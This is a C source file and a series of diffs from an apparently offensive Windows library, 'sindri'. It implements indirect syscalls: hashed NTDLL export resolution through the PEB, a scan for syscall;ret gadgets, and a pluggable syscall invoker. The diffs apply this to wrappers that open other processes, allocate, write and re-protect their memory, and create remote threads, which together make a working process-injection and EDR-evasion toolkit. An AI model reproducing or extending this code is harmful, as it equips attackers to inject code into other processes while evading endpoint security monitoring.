#include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/parsers/pe/exports.h>
#include <sindri/parsers/pe/parser.h>
#include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h>
#include <windows.h>
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
if (entry == NULL || entry->dwHash == 0) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
// 1. Get the natively loaded NTDLL from our own PEB
PVOID local_ntdll = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
if (SND_FAILED(status) || !local_ntdll) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
// 2. Resolve the real, executable address of the API using its hash
FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) {
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
}
#if defined(_WIN64)
BYTE *ptr = (BYTE *)exec_addr;
// Scan forward a maximum of 32 bytes from the API entry point
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
for (int i = 0; i < 32; i++) {
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
entry->pSyscallAddr = (PVOID)&ptr[i];
return SND_OK;
}
}
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds
#elif defined(_WIN32)
BYTE *ptr = (BYTE *)exec_addr;
// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
// or just after the `mov eax, SSN`.
// The typical NTDLL stub on x86 looks like:
// mov eax, <SSN>
// mov edx, <wow64_transition> or mov edx, esp
// call dword ptr fs:[0xC0] or sysenter or call edx
// ret XX
//
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
// The instructions after that handle the transition safely for the specific OS version.
// We check if it starts with `mov eax` (0xB8)
if (ptr[0] == 0xB8) {
entry->pSyscallAddr = (PVOID)&ptr[5];
return SND_OK;
}
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
#else
return SND_ERR(SND_STATUS_ARCH_MISMATCH);
#endif
}
+28 -7
View File
@@ -1,29 +1,47 @@
#include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/primitives/syscalls.h>
#include <windows.h>
#define SND_MAX_INTERNAL_STRATEGIES 4
static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {0};
static int g_strategy_count = 0;
static PVOID g_syscall_ntdll_target = NULL;
static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {SND_SYSCALL_RESOLVER_DEFAULT};
#if SND_USE_DEFAULTS
static int g_strategy_count = 1;
#else
static int g_strategy_count = 0;
#endif
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
void snd_syscall_set_ntdll(PVOID ntdll_base) {
if (ntdll_base == NULL) {
if (!ntdll_base)
return;
}
g_syscall_ntdll_target = ntdll_base;
}
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver) {
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker) {
if (!invoker)
return;
g_syscall_invoker = invoker;
}
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
if (!finder)
return;
g_syscall_gadget_finder = finder;
}
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
if (!resolver)
return;
g_strategy_chain[0] = resolver;
g_strategy_count = 1;
}
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver) {
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver) {
if (!resolver) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
@@ -54,6 +72,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out);
if (SND_SUCCEEDED(status)) {
if (g_syscall_gadget_finder != NULL) {
status = g_syscall_gadget_finder(entry_out);
}
return status;
}
}
+17 -3
View File
@@ -5,6 +5,8 @@
#include <sindri_hashes.h>
#include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) {
if (!out_handle || !section_name)
return SND_ERR(SND_STATUS_NULL_POINTER);
@@ -22,11 +24,15 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_handle;
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
args.arg3 = &obj_attr;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status);
}
@@ -45,6 +51,7 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = section_handle;
args.arg2 = GetCurrentProcess();
args.arg3 = &base_address;
@@ -56,7 +63,10 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
args.arg9 = (PVOID)0;
args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (!SND_NT_SUCCESS(nt_status)) {
return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status);
}
@@ -77,9 +87,13 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
}
+17 -3
View File
@@ -7,6 +7,8 @@
#include <sindri_hashes.h>
#include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect,
LPVOID *out_address) {
if (!out_address)
@@ -23,6 +25,7 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = 0;
@@ -30,7 +33,10 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
args.arg6 = (PVOID)(ULONG_PTR)protect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) {
*out_address = baseAddress;
return SND_OK;
@@ -54,12 +60,16 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)free_type;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status);
}
@@ -76,13 +86,17 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
args.arg5 = &oldProtect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) {
if (old_protect) {
+33 -8
View File
@@ -1,11 +1,12 @@
#include "sindri/common/status.h"
#include <sindri/common/status.h>
#include <sindri/internal/nt/types.h>
#include <sindri/primitives/process.h>
#include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h>
#include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) {
if (!out_process)
return SND_ERR(SND_STATUS_NULL_POINTER);
@@ -25,12 +26,16 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_process;
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
args.arg3 = &oa;
args.arg4 = (PVOID)&cid;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status);
}
@@ -50,6 +55,7 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process;
args.arg2 = &local_base;
args.arg3 = 0;
@@ -57,7 +63,10 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
args.arg6 = (PVOID)(ULONG_PTR)protect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) {
*out_address = local_base;
return SND_OK;
@@ -76,13 +85,17 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process;
args.arg2 = base_address;
args.arg3 = (PVOID)buffer;
args.arg4 = (PVOID)size;
args.arg5 = &written;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (bytes_written)
*bytes_written = written;
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status);
@@ -101,13 +114,17 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process;
args.arg2 = &addr;
args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)new_protect;
args.arg5 = &oldProt;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (old_protect)
*old_protect = oldProt;
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status);
@@ -126,6 +143,7 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_thread;
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
args.arg3 = NULL;
@@ -138,7 +156,10 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
args.arg10 = 0;
args.arg11 = NULL;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status);
}
@@ -150,9 +171,13 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args);
if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
}